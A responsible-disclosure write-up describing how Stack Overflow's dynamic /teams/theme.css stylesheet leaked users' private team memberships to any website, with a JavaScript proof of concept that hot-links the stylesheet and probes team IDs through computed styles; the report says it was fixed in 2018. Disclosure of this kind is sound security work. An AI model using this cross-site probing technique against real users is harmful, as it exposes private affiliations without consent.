Membership in a team is generally private/hidden. However, the list of teams you are a member of is leaked to other websites through the dynamic stylesheet served at /teams/theme.css
.
theme.css
includes selectors/rules for each team you're a part of. The site templates use these selectors to display the team icons on the site. For example, it includes the following rule for my test team, which has ID 10221
.
.channel10221.themed-avatar__sm {
background-image: url('data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsIAAA7CARUoSoAAAAQeSURBVFhH7ZbPa5xFGMfff+A9FGVOQw8jDDiHOQy+8MKyEKMllFKipCkxdEndkqUpJiYpSZrQxmbT5FB/XcV/QEFz8OJBkR496EkQBMGLF/+Lx88zu6ubdreptgWFPPDlnX3emXm/8/z4zhandmr/N7sAjoriBaDPUTi7zPO52RYQO12KmTBiEmjoGEwaKX0hvP8iz3xOdg1I9XEt8VYQv94Qd8NLvOml0a3FT1sl8Eme+QxtGnzUxwMg1fuVhNuVVNtR/JIXvxqk3qvEns8Efh6a3wZPbZ8CKWwpRVlI6QqJ3ShpI0m1ThTaNpOIW0nclBXjSikD82xOx3d5h6e0A+NLSduVuOteUtfrxiOR3nRy/rAh6R5RWXTq+xz8K9Nqf7ePBwWnCUtO3IwRe208ATNVMi+IXfBiLuR0/AQG+8yBJ7Zvwd+bU92uW4m/6iTuhJ6PdBSGcGtadIzPzVipd5PEjSh2tk9U35Wkryh+BU9snznaqnmYpD6oJN2JUu8kCYtRGttJmh/WkvaSNN6rpeJjYT/KxCHjLYpxP0jcbUhYpkZ2K2ns0ynLUQl839t6vE2AhT5+tLWRmiLTSo8bXqoV8koEAuO4nySxadWJ4lqBVgwSNpP4FcjcxLeM7ypr1yC/jn8+p+O3of3fAMftTHHmGx69sAEVmorKbu5x+jucnqqPbU53O0i6X+HjAxAM70BoEzKHGimIEbG45cV1nDTRCm1P184RGMYf4BE78jNsOMeGnNQ0YU315/Yz2lbku//U3Ku/1JajQPOT9lQlLEPfp22oueedmbQQIiqXnVjGfOuX3ieP21G4wulQNg2tVQLHWSu+AndPQE83hmC1O0hlIC3uYi7O0QT8mkVWEZmdmFsK38O4BE6yl3LlD63znFxT5FZoUcb4RhPQ8Nhz4DKKhqq5BSKxQP/P50WKt/LMx9vLIKfKUTOu5cXOUZh82JzjwopmPAEw+BA1QBHem5CKiq93/yqiPfBKHy+CgZVg4G+BfFM2D1BFitIgTOobwskESq5Yt+1pK/QeFRx+14fejAN7DRx7r4WZEK0GGpJaj6wfTUAXGUKk2m8aBj0nZx1CSBrK2K96rfLeJsM33STIYS8r1up69om0aFKNmGW9XlD4cxeNIxBvIDQIToS15+JRcQloQdxE+VBCzz0Qu2lwirfzqp69CsRdofc/QAHXmhI7rEUzlERW0VsUIbemnXtcG9KrfomPb8AaMnoDehUS1KxeYcz7sFONJaD6n+5CdhXyRC4g234dJUWOVcDcIgRmxnfB13aKkM8gueRMLxZPBbvr+PT3PK1JKG3bD1LQ6S3L9joQR5V7Qu5a3JqzVgIybbX3VyHC/wbLda2ixNzf86qH7D744R/gIhiYVv+oOePwJTi1U/svWFH8CW8tVlNqE64wAAAAAElFTkSuQmCC');
background-color: transparent;
}
Unfortunately, the browser security model doesn't do anything to prevent hot-linking of stylesheets, so it's possible for any web page to include this stylesheet, then test every possible team ID to see which ones are defined for you.
This only leaks the team ID and logo. The team slug, name, and other information is not exposed.
Proof of Concept
This snippet should list all of the teams you are a member of.
<link rel="stylesheet" href="https://stackoverflow.com/teams/theme.css">
<script defer>
var minTeamId = 10001;
var maxTeamIds = 16384;
var iconStub = document.createElement('div');
iconStub.style.visibility = 'hidden';
document.body.appendChild(iconStub);
var any = false;
for (var i = 0; i < maxTeamIds; i++) {
var teamId = minTeamId + i;
iconStub.className = `channel${teamId} themed-avatar__xl`;
var bg = window.getComputedStyle(iconStub).backgroundImage.slice(5, -2);
if (bg) {
any = true;
document.body.appendChild(Object.assign(document.createElement('h1'), {textContent: `Team #${teamId}`}));
document.body.appendChild(Object.assign(document.createElement('img'), {src: bg, width: '92'}));
}
}
if (!any) {
document.body.appendChild(Object.assign(document.createElement('p'), {textContent: `You are not a member of any teams.`}));
}
document.body.removeChild(iconStub);
</script>
For example, I see the following:
severity: low
reported privately: 2018-05-04
disclosed publicly: 2018-06-07
confirmed fixed: 2018-06-07